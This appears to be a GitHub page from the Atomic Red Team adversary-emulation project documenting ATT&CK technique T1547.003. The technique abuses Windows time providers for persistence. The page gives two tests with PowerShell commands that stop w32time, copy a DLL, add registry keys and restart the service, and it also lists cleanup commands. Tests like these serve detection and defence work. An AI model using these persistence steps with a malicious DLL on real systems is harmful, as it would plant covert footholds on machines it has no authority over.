Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

f339e7d

Go to file

.github
atomic_red_team
atomics
Indexes
T1003.001
T1003.002
T1003.003
T1003.004
T1003.005
T1003.006
T1003.007
T1003.008
T1003
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.006
T1027.001
T1027.002
T1027.004
T1027
T1030
T1033
T1036.003
T1036.004
T1036.005
T1036.006
T1036

atomic-red-team / atomics / T1547.003 / T1547.003.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 819934c · 2 years ago History

Preview Code Blame 105 lines (60 loc) · 4.71 KB Raw

T1547.003 - Time Providers

Description from ATT&CK

> Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)
> Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders</code>.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)`
>
> ```
> Adversaries may abuse this architecture to establish persistence,
> specifically by registering and enabling a malicious DLL as a time
> provider. Administrator privileges are required for time provider
> registration, though execution will run in context of the Local Service
> account.(Citation: Github W32Time Oct 2017)
> ```

Atomic Tests

- Atomic Test #1 - Create a new time provider

- Atomic Test #2 - Edit an existing time provider

- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040

Atomic Test #1 - Create a new time provider

Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/

Supported Platforms: Windows

auto_generated_guid: df1efab7-bc6d-4b88-8be9-91f55ae017aa

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
net stop w32time
Copy-Item $PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll C:\Users\Public\AtomicT
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
net start w32time
```

Cleanup Commands:

```
net stop w32time
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvic
rm -force C:\Users\Public\AtomicTest.dll
net start w32time
```

Atomic Test #2 - Edit an existing time provider

Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/

Supported Platforms: Windows

auto_generated_guid: 29e0afca-8d1d-471a-8d34-25512fc48315

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
net stop w32time
Copy-Item $PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll C:\Users\Public\AtomicT
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
net start w32time
```

Cleanup Commands:

```
net stop w32time
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
rm -force C:\Users\Public\AtomicTest.dll
net start w32time
```